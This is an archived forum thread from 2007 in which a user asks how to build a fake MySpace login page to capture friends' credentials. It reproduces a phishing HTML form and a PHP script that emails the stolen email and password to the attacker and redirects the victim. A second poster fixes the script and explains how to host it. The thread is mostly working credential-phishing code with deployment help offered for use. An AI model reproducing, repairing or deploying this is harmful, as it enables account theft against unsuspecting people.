PDA

View Full Version : Fake login



b52_00
03-26-2007, 01:21 PM
Whatz up to all the people in Rohittab,
Noob here please go light, I have a situation here that I'm trying to work out.. to cut to the chase I want to make a fake login myspace for self education on how it's done and also to mess with friends that have myspace.. I have a good understandings in HTML and very little with PHP.. theres two codes that I have found through out the researching I have been doing in Rohitab/search form ( I will put them up down below) in the PHP codes I see that theres a couple of blanks that has to be filled out / email,the subject and locations, now for the ones that have the $post blank and $post blank what goes in there? once I'm done filling the blanks out were exactly do I put the PHP code and blank HTML in the myspace codes....Please help me it's driving me up the wall....



<form method="POST" action="mailer.php">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
E-mail<input type="text" name="email" size="**"><br>
<br>
Password<input type="password" name="message" size="**"><br>
<br>
&nbsp;<br>
<br>
<input type="Submit" value="Submit" name="Submit">
</form>





<?php
if(isset($_POST['submit'])) {

$to = "YOUR_EMAIL_HERE@SOMETHING.COM";
$subject = "THE SUBJECT HERE!";
$email_field = $_POST['email'];
$message = $_POST['message'];

$body = " E-Mail: $email_field\n Password:\n $message";

mail($to, $subject, $body);

header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");

} else {

header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");

}
?>

Ezekiel
03-27-2007, 05:01 PM
<form method="POST" action="mailer.php">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
E-mail<input type="text" name="email" size="**"><br>
<br>
Password<input type="password" name="message" size="**"><br>
<br>
&nbsp;<br>
<br>
<input type="Submit" value="Submit" name="Submit">
</form>

I can't see anything wrong with this HTML code, moving on to the PHP:



<?php
if(isset($_POST['submit'])) {

$to = "YOUR_EMAIL_HERE@SOMETHING.COM";
$subject = "THE SUBJECT HERE!";
$email_field = $_POST['email'];
$message = $_POST['message'];

$body = " E-Mail: $email_field\n Password:\n $message";

mail($to, $subject, $body);

header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");

} else {

header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");

}
?>

There doesn't seem to be anything wrong with this code with the exception of one line:


mail($to, $subject, $body);

To help explain this, I s***est reading some of the PHP manual regarding the mail function:

http://www.php.net/function.mail

It looks like the author of that code read briefly about the mail function, but didn't notice this line:


Note: When sending mail, the mail must contain a From header.

So to make the code work, replace the above line with this:


mail($to, $subject, $body, "From: sender@example.tld");



in the PHP codes I see that theres a couple of blanks that has to be filled out / email,the subject and locations, now for the ones that have the $post blank and $post blank what goes in there?

Do you mean things like $_POST['message'] and $_POST['email']? These do not need to be changed at all -- 'message' and 'email' are the names of variables contained within the $_POST array; not parts for you yourself to fill in.



once I'm done filling the blanks out were exactly do I put the PHP code and blank HTML in the myspace codes

The HTML code is just a fragment of a whole HTML 'page', but if you have it all you should place it in a blank text file ending in .html, such as login.html. You may have to turn on Windows file extensions to see full file names.

The PHP code should be placed in a blank text file ending in .php, such as send.php.

In this case it is good to separate the HTML and the PHP into two separate files, but they can both be placed alongside each other in .php files -- the PHP opening and closing tags separate the PHP (dynamic) part of the page and the HTML (static) part.

If you were talking about where to actually put the scripts on the web, you would have to get some web hosting from a host that supports PHP in their clients' sites. Search for "free PHP hosting" to find such a host.